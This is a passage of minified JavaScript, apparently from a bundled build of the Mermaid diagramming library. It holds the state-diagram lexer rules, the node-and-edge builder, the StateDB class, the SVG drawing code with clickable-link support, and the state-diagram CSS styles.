this},"reject"),less:o(function(G){this.unput(this.match.slice(G))},"less"),pastInput:o(function(){var G=this.matched.substr(0,this.matched.length-this.match.length);return(G.length>20?"...":"")+G.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var G=this.match;return G.length<20&&(G+=this._input.substr(0,20-G.length)),(G.substr(0,20)+(G.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var G=this.pastInput(),$=new Array(G.length+1).join("-");return G+this.upcomingInput()+` +`+$+"^"},"showPosition"),test_match:o(function(G,$){var U,j,te;if(this.options.backtrack_lexer&&(te={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(te.yylloc.range=this.yylloc.range.slice(0))),j=G[0].match(/(?:\r\n?|\n).*/g),j&&(this.yylineno+=j.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:j?j[j.length-1].length-j[j.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+G[0].length},this.yytext+=G[0],this.match+=G[0],this.matches=G,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(G[0].length),this.matched+=G[0],U=this.performAction.call(this,this.yy,this,$,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),U)return U;if(this._backtrack){for(var Y in te)this[Y]=te[Y];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var G,$,U,j;this._more||(this.yytext="",this.match="");for(var te=this._currentRules(),Y=0;Y$[0].length)){if($=U,j=Y,this.options.backtrack_lexer){if(G=this.test_match(U,te[Y]),G!==!1)return G;if(this._backtrack){$=!1;continue}else return!1}else if(!this.options.flex)break}return $?(G=this.test_match($,te[j]),G!==!1?G:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var $=this.next();return $||this.lex()},"lex"),begin:o(function($){this.conditionStack.push($)},"begin"),popState:o(function(){var $=this.conditionStack.length-1;return $>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function($){return $=this.conditionStack.length-1-Math.abs($||0),$>=0?this.conditionStack[$]:"INITIAL"},"topState"),pushState:o(function($){this.begin($)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function($,U,j,te){var Y=te;switch(j){case 0:return 38;case 1:return 40;case 2:return 39;case 3:return 44;case 4:return 51;case 5:return 52;case 6:return 53;case 7:return 54;case 8:break;case 9:break;case 10:return 5;case 11:break;case 12:break;case 13:break;case 14:break;case 15:return this.pushState("SCALE"),17;break;case 16:return 18;case 17:this.popState();break;case 18:return this.begin("acc_title"),33;break;case 19:return this.popState(),"acc_title_value";break;case 20:return this.begin("acc_descr"),35;break;case 21:return this.popState(),"acc_descr_value";break;case 22:this.begin("acc_descr_multiline");break;case 23:this.popState();break;case 24:return"acc_descr_multiline_value";case 25:return this.pushState("CLASSDEF"),41;break;case 26:return this.popState(),this.pushState("CLASSDEFID"),"DEFAULT_CLASSDEF_ID";break;case 27:return this.popState(),this.pushState("CLASSDEFID"),42;break;case 28:return this.popState(),43;break;case 29:return this.pushState("CLASS"),48;break;case 30:return this.popState(),this.pushState("CLASS_STYLE"),49;break;case 31:return this.popState(),50;break;case 32:return this.pushState("STYLE"),45;break;case 33:return this.popState(),this.pushState("STYLEDEF_STYLES"),46;break;case 34:return this.popState(),47;break;case 35:return this.pushState("SCALE"),17;break;case 36:return 18;case 37:this.popState();break;case 38:this.pushState("STATE");break;case 39:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),25;break;case 40:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),26;break;case 41:return this.popState(),U.yytext=U.yytext.slice(0,-10).trim(),27;break;case 42:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),25;break;case 43:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),26;break;case 44:return this.popState(),U.yytext=U.yytext.slice(0,-10).trim(),27;break;case 45:return 51;case 46:return 52;case 47:return 53;case 48:return 54;case 49:this.pushState("STATE_STRING");break;case 50:return this.pushState("STATE_ID"),"AS";break;case 51:return this.popState(),"ID";break;case 52:this.popState();break;case 53:return"STATE_DESCR";case 54:return 19;case 55:this.popState();break;case 56:return this.popState(),this.pushState("struct"),20;break;case 57:break;case 58:return this.popState(),21;break;case 59:break;case 60:return this.begin("NOTE"),29;break;case 61:return this.popState(),this.pushState("NOTE_ID"),59;break;case 62:return this.popState(),this.pushState("NOTE_ID"),60;break;case 63:this.popState(),this.pushState("FLOATING_NOTE");break;case 64:return this.popState(),this.pushState("FLOATING_NOTE_ID"),"AS";break;case 65:break;case 66:return"NOTE_TEXT";case 67:return this.popState(),"ID";break;case 68:return this.popState(),this.pushState("NOTE_TEXT"),24;break;case 69:return this.popState(),U.yytext=U.yytext.substr(2).trim(),31;break;case 70:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),31;break;case 71:return 6;case 72:return 6;case 73:return 16;case 74:return 57;case 75:return 24;case 76:return U.yytext=U.yytext.trim(),14;break;case 77:return 15;case 78:return 28;case 79:return 58;case 80:return 5;case 81:return"INVALID"}},"anonymous"),rules:[/^(?:click\b)/i,/^(?:href\b)/i,/^(?:"[^"]*")/i,/^(?:default\b)/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:[\s]+)/i,/^(?:((?!\n)\s)+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:scale\s+)/i,/^(?:\d+)/i,/^(?:\s+width\b)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:classDef\s+)/i,/^(?:DEFAULT\s+)/i,/^(?:\w+\s+)/i,/^(?:[^\n]*)/i,/^(?:class\s+)/i,/^(?:(\w+)+((,\s*\w+)*))/i,/^(?:[^\n]*)/i,/^(?:style\s+)/i,/^(?:[\w,]+\s+)/i,/^(?:[^\n]*)/i,/^(?:scale\s+)/i,/^(?:\d+)/i,/^(?:\s+width\b)/i,/^(?:state\s+)/i,/^(?:.*<>)/i,/^(?:.*<>)/i,/^(?:.*<>)/i,/^(?:.*\[\[fork\]\])/i,/^(?:.*\[\[join\]\])/i,/^(?:.*\[\[choice\]\])/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:["])/i,/^(?:\s*as\s+)/i,/^(?:[^\n\{]*)/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[^\n\s\{]+)/i,/^(?:\n)/i,/^(?:\{)/i,/^(?:%%(?!\{)[^\n]*)/i,/^(?:\})/i,/^(?:[\n])/i,/^(?:note\s+)/i,/^(?:left of\b)/i,/^(?:right of\b)/i,/^(?:")/i,/^(?:\s*as\s*)/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[^\n]*)/i,/^(?:\s*[^:\n\s\-]+)/i,/^(?:\s*:[^:\n;]+)/i,/^(?:[\s\S]*?end note\b)/i,/^(?:stateDiagram\s+)/i,/^(?:stateDiagram-v2\s+)/i,/^(?:hide empty description\b)/i,/^(?:\[\*\])/i,/^(?:[^:\n\s\-\{]+)/i,/^(?:\s*:[^:\n;]+)/i,/^(?:-->)/i,/^(?:--)/i,/^(?::::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{LINE:{rules:[12,13],inclusive:!1},struct:{rules:[12,13,25,29,32,38,45,46,47,48,57,58,59,60,74,75,76,77,78],inclusive:!1},FLOATING_NOTE_ID:{rules:[67],inclusive:!1},FLOATING_NOTE:{rules:[64,65,66],inclusive:!1},NOTE_TEXT:{rules:[69,70],inclusive:!1},NOTE_ID:{rules:[68],inclusive:!1},NOTE:{rules:[61,62,63],inclusive:!1},STYLEDEF_STYLEOPTS:{rules:[],inclusive:!1},STYLEDEF_STYLES:{rules:[34],inclusive:!1},STYLE_IDS:{rules:[],inclusive:!1},STYLE:{rules:[33],inclusive:!1},CLASS_STYLE:{rules:[31],inclusive:!1},CLASS:{rules:[30],inclusive:!1},CLASSDEFID:{rules:[28],inclusive:!1},CLASSDEF:{rules:[26,27],inclusive:!1},acc_descr_multiline:{rules:[23,24],inclusive:!1},acc_descr:{rules:[21],inclusive:!1},acc_title:{rules:[19],inclusive:!1},SCALE:{rules:[16,17,36,37],inclusive:!1},ALIAS:{rules:[],inclusive:!1},STATE_ID:{rules:[51],inclusive:!1},STATE_STRING:{rules:[52,53],inclusive:!1},FORK_STATE:{rules:[],inclusive:!1},STATE:{rules:[12,13,39,40,41,42,43,44,49,50,54,55,56],inclusive:!1},ID:{rules:[12,13],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,18,20,22,25,29,32,35,38,56,60,71,72,73,74,75,76,77,79,80,81],inclusive:!0}}};return F})();M.lexer=P;function B(){this.yy={}}return o(B,"Parser"),B.prototype=M,M.Parser=B,new B})();u$.parser=u$;oC=u$});var Qf,u0,E4,ove,lve,cve,h0,lC,f$,d$,p$,m$,cC,uC,uve,hve,g$,y$,fve,dve,oy,jJe,pve,v$,KJe,QJe,mve,gve,ZJe,yve,JJe,vve,x$,b$,xve,hC,bve,T$,fC=N(()=>{"use strict";Qf="state",u0="root",E4="relation",ove="classDef",lve="style",cve="applyClass",h0="default",lC="divider",f$="fill:none",d$="fill: #333",p$="text",m$="normal",cC="rect",uC="rectWithTitle",uve="stateStart",hve="stateEnd",g$="divider",y$="roundedWithTitle",fve="note",dve="noteGroup",oy="statediagram",jJe="state",pve=`${oy}-${jJe}`,v$="transition",KJe="note",QJe="note-edge",mve=`${v$} ${QJe}`,gve=`${oy}-${KJe}`,ZJe="cluster",yve=`${oy}-${ZJe}`,JJe="cluster-alt",vve=`${oy}-${JJe}`,x$="parent",b$="note",xve="state",hC="----",bve=`${hC}${b$}`,T$=`${hC}${x$}`});function w$(t="",e=0,r="",n=hC){let i=r!==null&&r.length>0?`${n}${r}`:"";return`${xve}-${t}${i}-${e}`}function dC(t,e,r){if(!e.id||e.id===""||e.id==="")return;e.cssClasses&&(Array.isArray(e.cssCompiledStyles)||(e.cssCompiledStyles=[]),e.cssClasses.split(" ").forEach(i=>{let a=r.get(i);a&&(e.cssCompiledStyles=[...e.cssCompiledStyles??[],...a.styles])}));let n=t.find(i=>i.id===e.id);n?Object.assign(n,e):t.push(e)}function tet(t){return t?.classes?.join(" ")??""}function ret(t){return t?.styles??[]}var pC,Zf,eet,Tve,ly,kve,Eve=N(()=>{"use strict";Xt();pt();gr();fC();pC=new Map,Zf=0;o(w$,"stateDomId");eet=o((t,e,r,n,i,a,s,l)=>{X.trace("items",e),e.forEach(u=>{switch(u.stmt){case Qf:ly(t,u,r,n,i,a,s,l);break;case h0:ly(t,u,r,n,i,a,s,l);break;case E4:{ly(t,u.state1,r,n,i,a,s,l),ly(t,u.state2,r,n,i,a,s,l);let h={id:"edge"+Zf,start:u.state1.id,end:u.state2.id,arrowhead:"normal",arrowTypeEnd:"arrow_barb",style:f$,labelStyle:"",label:tt.sanitizeText(u.description??"",ge()),arrowheadStyle:d$,labelpos:"c",labelType:p$,thickness:m$,classes:v$,look:s};i.push(h),Zf++}break}})},"setupDoc"),Tve=o((t,e="TB")=>{let r=e;if(t.doc)for(let n of t.doc)n.stmt==="dir"&&(r=n.value);return r},"getDir");o(dC,"insertOrUpdateNode");o(tet,"getClassesFromDbInfo");o(ret,"getStylesFromDbInfo");ly=o((t,e,r,n,i,a,s,l)=>{let u=e.id,h=r.get(u),f=tet(h),d=ret(h),p=ge();if(X.info("dataFetcher parsedItem",e,h,d),u!=="root"){let m=cC;e.start===!0?m=uve:e.start===!1&&(m=hve),e.type!==h0&&(m=e.type),pC.get(u)||pC.set(u,{id:u,shape:m,description:tt.sanitizeText(u,p),cssClasses:`${f} ${pve}`,cssStyles:d});let g=pC.get(u);e.description&&(Array.isArray(g.description)?(g.shape=uC,g.description.push(e.description)):g.description?.length&&g.description.length>0?(g.shape=uC,g.description===u?g.description=[e.description]:g.description=[g.description,e.description]):(g.shape=cC,g.description=e.description),g.description=tt.sanitizeTextOrArray(g.description,p)),g.description?.length===1&&g.shape===uC&&(g.type==="group"?g.shape=y$:g.shape=cC),!g.type&&e.doc&&(X.info("Setting cluster for XCX",u,Tve(e)),g.type="group",g.isGroup=!0,g.dir=Tve(e),g.shape=e.type===lC?g$:y$,g.cssClasses=`${g.cssClasses} ${yve} ${a?vve:""}`);let y={labelStyle:"",shape:g.shape,label:g.description,cssClasses:g.cssClasses,cssCompiledStyles:[],cssStyles:g.cssStyles,id:u,dir:g.dir,domId:w$(u,Zf),type:g.type,isGroup:g.type==="group",padding:8,rx:10,ry:10,look:s};if(y.shape===g$&&(y.label=""),t&&t.id!=="root"&&(X.trace("Setting node ",u," to be child of its parent ",t.id),y.parentId=t.id),y.centerLabel=!0,e.note){let v={labelStyle:"",shape:fve,label:e.note.text,cssClasses:gve,cssStyles:[],cssCompiledStyles:[],id:u+bve+"-"+Zf,domId:w$(u,Zf,b$),type:g.type,isGroup:g.type==="group",padding:p.flowchart?.padding,look:s,position:e.note.position},x=u+T$,b={labelStyle:"",shape:dve,label:e.note.text,cssClasses:g.cssClasses,cssStyles:[],id:u+T$,domId:w$(u,Zf,x$),type:"group",isGroup:!0,padding:16,look:s,position:e.note.position};Zf++,b.id=x,v.parentId=x,dC(n,b,l),dC(n,v,l),dC(n,y,l);let T=u,S=v.id;e.note.position==="left of"&&(T=v.id,S=u),i.push({id:T+"-"+S,start:T,end:S,arrowhead:"none",arrowTypeEnd:"",style:f$,labelStyle:"",classes:mve,arrowheadStyle:d$,labelpos:"c",labelType:p$,thickness:m$,look:s})}else dC(n,y,l)}e.doc&&(X.trace("Adding nodes children "),eet(e,e.doc,r,n,i,!a,s,l))},"dataFetcher"),kve=o(()=>{pC.clear(),Zf=0},"reset")});var E$,net,iet,Sve,S$=N(()=>{"use strict";Xt();pt();ep();Nf();Mf();tr();fC();E$=o((t,e="TB")=>{if(!t.doc)return e;let r=e;for(let n of t.doc)n.stmt==="dir"&&(r=n.value);return r},"getDir"),net=o(function(t,e){return e.db.getClasses()},"getClasses"),iet=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing state diagram (v2)",e);let{securityLevel:i,state:a,layout:s}=ge();n.db.extract(n.db.getRootDocV2());let l=n.db.getData(),u=Vo(e,i);l.type=n.type,l.layoutAlgorithm=s,l.nodeSpacing=a?.nodeSpacing||50,l.rankSpacing=a?.rankSpacing||50,l.markers=["barb"],l.diagramId=e,await Qo(l,u);let h=8;try{(typeof n.db.getLinks=="function"?n.db.getLinks():new Map).forEach((d,p)=>{let m=typeof p=="string"?p:typeof p?.id=="string"?p.id:"";if(!m){X.warn("\u26A0\uFE0F Invalid or missing stateId from key:",JSON.stringify(p));return}let g=u.node()?.querySelectorAll("g"),y;if(g?.forEach(T=>{T.textContent?.trim()===m&&(y=T)}),!y){X.warn("\u26A0\uFE0F Could not find node matching text:",m);return}let v=y.parentNode;if(!v){X.warn("\u26A0\uFE0F Node has no parent, cannot wrap:",m);return}let x=document.createElementNS("http://www.w3.org/2000/svg","a"),b=d.url.replace(/^"+|"+$/g,"");if(x.setAttributeNS("http://www.w3.org/1999/xlink","xlink:href",b),x.setAttribute("target","_blank"),d.tooltip){let T=d.tooltip.replace(/^"+|"+$/g,"");x.setAttribute("title",T)}v.replaceChild(x,y),x.appendChild(y),X.info("\u{1F517} Wrapped node in
    tag for:",m,d.url)})}catch(f){X.error("\u274C Error injecting clickable links:",f)}qt.insertTitle(u,"statediagramTitleText",a?.titleTopMargin??25,n.db.getDiagramTitle()),Ws(u,h,oy,a?.useMaxWidth??!0)},"draw"),Sve={getClasses:net,draw:iet,getDir:E$}});var ws,Ave,_ve,mC,al,gC=N(()=>{"use strict";Xt();pt();tr();gr();ci();Eve();S$();fC();ws={START_NODE:"[*]",START_TYPE:"start",END_NODE:"[*]",END_TYPE:"end",COLOR_KEYWORD:"color",FILL_KEYWORD:"fill",BG_FILL:"bgFill",STYLECLASS_SEP:","},Ave=o(()=>new Map,"newClassesList"),_ve=o(()=>({relations:[],states:new Map,documents:{}}),"newDoc"),mC=o(t=>JSON.parse(JSON.stringify(t)),"clone"),al=class{constructor(e){this.version=e;this.nodes=[];this.edges=[];this.rootDoc=[];this.classes=Ave();this.documents={root:_ve()};this.currentDocument=this.documents.root;this.startEndCount=0;this.dividerCnt=0;this.links=new Map;this.getAccTitle=Mr;this.setAccTitle=Rr;this.getAccDescription=Or;this.setAccDescription=Ir;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.clear(),this.setRootDoc=this.setRootDoc.bind(this),this.getDividerId=this.getDividerId.bind(this),this.setDirection=this.setDirection.bind(this),this.trimColon=this.trimColon.bind(this)}static{o(this,"StateDB")}static{this.relationType={AGGREGATION:0,EXTENSION:1,COMPOSITION:2,DEPENDENCY:3}}extract(e){this.clear(!0);for(let i of Array.isArray(e)?e:e.doc)switch(i.stmt){case Qf:this.addState(i.id.trim(),i.type,i.doc,i.description,i.note);break;case E4:this.addRelation(i.state1,i.state2,i.description);break;case ove:this.addStyleClass(i.id.trim(),i.classes);break;case lve:this.handleStyleDef(i);break;case cve:this.setCssClass(i.id.trim(),i.styleClass);break;case"click":this.addLink(i.id,i.url,i.tooltip);break}let r=this.getStates(),n=ge();kve(),ly(void 0,this.getRootDocV2(),r,this.nodes,this.edges,!0,n.look,this.classes);for(let i of this.nodes)if(Array.isArray(i.label)){if(i.description=i.label.slice(1),i.isGroup&&i.description.length>0)throw new Error(`Group nodes can only have label. Remove the additional description for node [${i.id}]`);i.label=i.label[0]}}handleStyleDef(e){let r=e.id.trim().split(","),n=e.styleClass.split(",");for(let i of r){let a=this.getState(i);if(!a){let s=i.trim();this.addState(s),a=this.getState(s)}a&&(a.styles=n.map(s=>s.replace(/;/g,"")?.trim()))}}setRootDoc(e){X.info("Setting root doc",e),this.rootDoc=e,this.version===1?this.extract(e):this.extract(this.getRootDocV2())}docTranslator(e,r,n){if(r.stmt===E4){this.docTranslator(e,r.state1,!0),this.docTranslator(e,r.state2,!1);return}if(r.stmt===Qf&&(r.id===ws.START_NODE?(r.id=e.id+(n?"_start":"_end"),r.start=n):r.id=r.id.trim()),r.stmt!==u0&&r.stmt!==Qf||!r.doc)return;let i=[],a=[];for(let s of r.doc)if(s.type===lC){let l=mC(s);l.doc=mC(a),i.push(l),a=[]}else a.push(s);if(i.length>0&&a.length>0){let s={stmt:Qf,id:GL(),type:"divider",doc:mC(a)};i.push(mC(s)),r.doc=i}r.doc.forEach(s=>this.docTranslator(r,s,!0))}getRootDocV2(){return this.docTranslator({id:u0,stmt:u0},{id:u0,stmt:u0,doc:this.rootDoc},!0),{id:u0,doc:this.rootDoc}}addState(e,r=h0,n=void 0,i=void 0,a=void 0,s=void 0,l=void 0,u=void 0){let h=e?.trim();if(!this.currentDocument.states.has(h))X.info("Adding state ",h,i),this.currentDocument.states.set(h,{stmt:Qf,id:h,descriptions:[],type:r,doc:n,note:a,classes:[],styles:[],textStyles:[]});else{let f=this.currentDocument.states.get(h);if(!f)throw new Error(`State not found: ${h}`);f.doc||(f.doc=n),f.type||(f.type=r)}if(i&&(X.info("Setting state description",h,i),(Array.isArray(i)?i:[i]).forEach(d=>this.addDescription(h,d.trim()))),a){let f=this.currentDocument.states.get(h);if(!f)throw new Error(`State not found: ${h}`);f.note=a,f.note.text=tt.sanitizeText(f.note.text,ge())}s&&(X.info("Setting state classes",h,s),(Array.isArray(s)?s:[s]).forEach(d=>this.setCssClass(h,d.trim()))),l&&(X.info("Setting state styles",h,l),(Array.isArray(l)?l:[l]).forEach(d=>this.setStyle(h,d.trim()))),u&&(X.info("Setting state styles",h,l),(Array.isArray(u)?u:[u]).forEach(d=>this.setTextStyle(h,d.trim())))}clear(e){this.nodes=[],this.edges=[],this.documents={root:_ve()},this.currentDocument=this.documents.root,this.startEndCount=0,this.classes=Ave(),e||(this.links=new Map,Sr())}getState(e){return this.currentDocument.states.get(e)}getStates(){return this.currentDocument.states}logDocuments(){X.info("Documents = ",this.documents)}getRelations(){return this.currentDocument.relations}addLink(e,r,n){this.links.set(e,{url:r,tooltip:n}),X.warn("Adding link",e,r,n)}getLinks(){return this.links}startIdIfNeeded(e=""){return e===ws.START_NODE?(this.startEndCount++,`${ws.START_TYPE}${this.startEndCount}`):e}startTypeIfNeeded(e="",r=h0){return e===ws.START_NODE?ws.START_TYPE:r}endIdIfNeeded(e=""){return e===ws.END_NODE?(this.startEndCount++,`${ws.END_TYPE}${this.startEndCount}`):e}endTypeIfNeeded(e="",r=h0){return e===ws.END_NODE?ws.END_TYPE:r}addRelationObjs(e,r,n=""){let i=this.startIdIfNeeded(e.id.trim()),a=this.startTypeIfNeeded(e.id.trim(),e.type),s=this.startIdIfNeeded(r.id.trim()),l=this.startTypeIfNeeded(r.id.trim(),r.type);this.addState(i,a,e.doc,e.description,e.note,e.classes,e.styles,e.textStyles),this.addState(s,l,r.doc,r.description,r.note,r.classes,r.styles,r.textStyles),this.currentDocument.relations.push({id1:i,id2:s,relationTitle:tt.sanitizeText(n,ge())})}addRelation(e,r,n){if(typeof e=="object"&&typeof r=="object")this.addRelationObjs(e,r,n);else if(typeof e=="string"&&typeof r=="string"){let i=this.startIdIfNeeded(e.trim()),a=this.startTypeIfNeeded(e),s=this.endIdIfNeeded(r.trim()),l=this.endTypeIfNeeded(r);this.addState(i,a),this.addState(s,l),this.currentDocument.relations.push({id1:i,id2:s,relationTitle:n?tt.sanitizeText(n,ge()):void 0})}}addDescription(e,r){let n=this.currentDocument.states.get(e),i=r.startsWith(":")?r.replace(":","").trim():r;n?.descriptions?.push(tt.sanitizeText(i,ge()))}cleanupLabel(e){return e.startsWith(":")?e.slice(2).trim():e.trim()}getDividerId(){return this.dividerCnt++,`divider-id-${this.dividerCnt}`}addStyleClass(e,r=""){this.classes.has(e)||this.classes.set(e,{id:e,styles:[],textStyles:[]});let n=this.classes.get(e);r&&n&&r.split(ws.STYLECLASS_SEP).forEach(i=>{let a=i.replace(/([^;]*);/,"$1").trim();if(RegExp(ws.COLOR_KEYWORD).exec(i)){let l=a.replace(ws.FILL_KEYWORD,ws.BG_FILL).replace(ws.COLOR_KEYWORD,ws.FILL_KEYWORD);n.textStyles.push(l)}n.styles.push(a)})}getClasses(){return this.classes}setCssClass(e,r){e.split(",").forEach(n=>{let i=this.getState(n);if(!i){let a=n.trim();this.addState(a),i=this.getState(a)}i?.classes?.push(r)})}setStyle(e,r){this.getState(e)?.styles?.push(r)}setTextStyle(e,r){this.getState(e)?.textStyles?.push(r)}getDirectionStatement(){return this.rootDoc.find(e=>e.stmt==="dir")}getDirection(){return this.getDirectionStatement()?.value??"TB"}setDirection(e){let r=this.getDirectionStatement();r?r.value=e:this.rootDoc.unshift({stmt:"dir",value:e})}trimColon(e){return e.startsWith(":")?e.slice(1).trim():e.trim()}getData(){let e=ge();return{nodes:this.nodes,edges:this.edges,other:{},config:e,direction:E$(this.getRootDocV2())}}getConfig(){return ge().state}}});var set,yC,C$=N(()=>{"use strict";set=o(t=>` +defs #statediagram-barbEnd { + fill: ${t.transitionColor}; + stroke: ${t.transitionColor}; + } +g.stateGroup text { + fill: ${t.nodeBorder}; + stroke: none; + font-size: 10px; +} +g.stateGroup text { + fill: ${t.textColor}; + stroke: none; + font-size: 10px; + +} +g.stateGroup .state-title { + font-weight: bolder; + fill: ${t.stateLabelColor}; +} + +g.stateGroup rect { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; +} + +g.stateGroup line { + stroke: ${t.lineColor}; + stroke-width: 1; +} + +.transition { + stroke: ${t.transitionColor}; + stroke-width: 1; + fill: none; +} + +.stateGroup .composit { + fill: ${t.background}; + border-bottom: 1px +} + +.stateGroup .alt-composit { + fill: #e0e0e0; + border-bottom: 1px +} + +.state-note { + stroke: ${t.noteBorderColor}; + fill: ${t.noteBkgColor}; + + text { + fill: ${t.noteTextColor}; + stroke: none; + font-size: 10px; + } +} + +.stateLabel .box { + stroke: none; + stroke-width: 0; + fill: ${t.mainBkg}; + opacity: 0.5; +} + +.edgeLabel .label rect { + fill: ${t.labelBackgroundColor}; + opacity: 0.5; +} +.edgeLabel { + background-color: ${t.edgeLabelBackground}; + p { + background-color: ${t.edgeLabelBackground}; + } + rect { + opacity: 0.5; + background-color: ${t.edgeLabelBackground}; + fill: ${t.edgeLabelBackground}; + } + text-align: center; +} +.edgeLabel .label text { + fill: ${t.transitionLabelColor||t.tertiaryTextColor}; +} +.label div .edgeLabel { + color: ${t.transitionLabelColor||t.tertiaryTextColor}; +} + +.stateLabel text { + fill: ${t.stateLabelColor}; + font-size: 10px; + font-weight: bold; +} + +.node circle.state-start { + fill: ${t.specialStateColor}; + stroke: ${t.specialStateColor}; +} + +.node .fork-join { + fill: ${t.specialStateColor}; + stroke: ${t.specialStateColor}; +} + +.node circle.state-end { + fill: ${t.innerEndBackground}; + stroke: ${t.background}; + stroke-width: 1.5 +} +.end-state-inner { + fill: ${t.compositeBackground||t.background}; + // stroke: ${t.background}; + stroke-width: 1.5 +} + +.node rect { + fill: ${t.stateBkg||t.mainBkg}; + stroke: ${t.stateBorder||t.nodeBorder}; + stroke-width: 1px; +} +.node polygon { + fill: ${t.mainBkg}; + stroke: ${t.stateBorder||t.nodeBorder};; + stroke-width: 1px; +} +#statediagram-barbEnd { + fill: ${t.lineColor}; +} + +.statediagram-cluster rect { + fill: ${t.compositeTitleBackground}; + stroke: ${t.stateBorder||t.nodeBorder}; + stroke-width: 1px; +} + +.cluster-label, .nodeLabel { + color: ${t.stateLabelColor}; + // line-height: 1; +} + +.statediagram-cluster rect.outer { + rx: 5px; + ry: 5px; +} +.statediagram-state .divider { + stroke: ${t.stateBorder||t.nodeBorder}; +} + +.statediagram-state .title-state { + rx: 5px; + ry: 5px; +} +.statediagram-cluster.statediagram-cluster .inner { + fill: ${t.compositeBackground||t.background}; +} +.statediagram-cluster.statediagram-cluster-alt .inner { + fill: ${t.altBackground?t.altBackground:"#efefef"}; +} + +.statediagram-cluster .inner { + rx:0; + ry:0; +} + +.statediagram-state rect.basic { + rx: 5px; + ry: 5px; +} +.statediagram-state rect.divider { + stroke-dasharray: 10,10; + fill: ${t.altBackground?t.altBackground:"#efefef"}; +} + +.note-edge { + stroke-dasharray: 5; +} + +.statediagram-note rect { + fill: ${t.noteBkgColor}; + stroke: ${t.noteBorderColor}; + stroke-width: 1px; + rx: 0; + ry: 0; +} +.statediagram-note rect { + fill: ${t.noteBkgColor}; + stroke: ${t.noteBorderColor}; + stroke-width: 1px; + rx: 0; + ry: 0; +} + +.statediagram-note text { + fill: ${t.noteTextColor}; +} + +.statediagram-note .nodeLabel { + color: ${t.noteTextColor}; +} +.statediagram .edgeLabel { + color: red; // ${t.noteTextColor}; +} + +#dependencyStart, #dependencyEnd { + fill: ${t.lineColor}; + stroke: ${t.lineColor}; + stroke-width: 1; +} + +.statediagramTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; +} +`,"getStyles"),yC=set});var oet,cet,uet,het,Lve,fet,det,pet,met,A$,Dve,Rve,Nve=N(()=>{"use strict";yr();gC();tr();gr();Xt();pt();oet=o(t=>t.append("circle").attr("class","start-state").attr("r",ge().state.sizeUnit).attr("cx",ge().state.padding+ge().state.sizeUnit).attr("cy",ge().state.padding+ge().state.sizeUnit),"drawStartState"),cet=o(t=>t.append("line").style("stroke","grey").style("stroke-dasharray","3").attr("x1",ge().state.textHeight).attr("class","divider").attr("x2",ge().state.textHeight*2).attr("y1",0).attr("y2",0),"drawDivider"),uet=o((t,e)=>{let r=t.append("text").attr("x",2*ge().state.padding).attr("y",ge().state.textHeight+2*ge().state.padding).attr("font-size",ge().state.fontSize).attr("class","state-title").text(e.id),n=r.node().getBBox();return t.insert("rect",":first-child").attr("x",ge().state.padding).attr("y",ge().state.padding).attr("width",n.width+2*ge().state.padding).attr("height",n.height+2*ge().state.padding).attr("rx",ge().state.radius),r},"drawSimpleState"),het=o((t,e)=>{let r=o(function(p,m,g){let 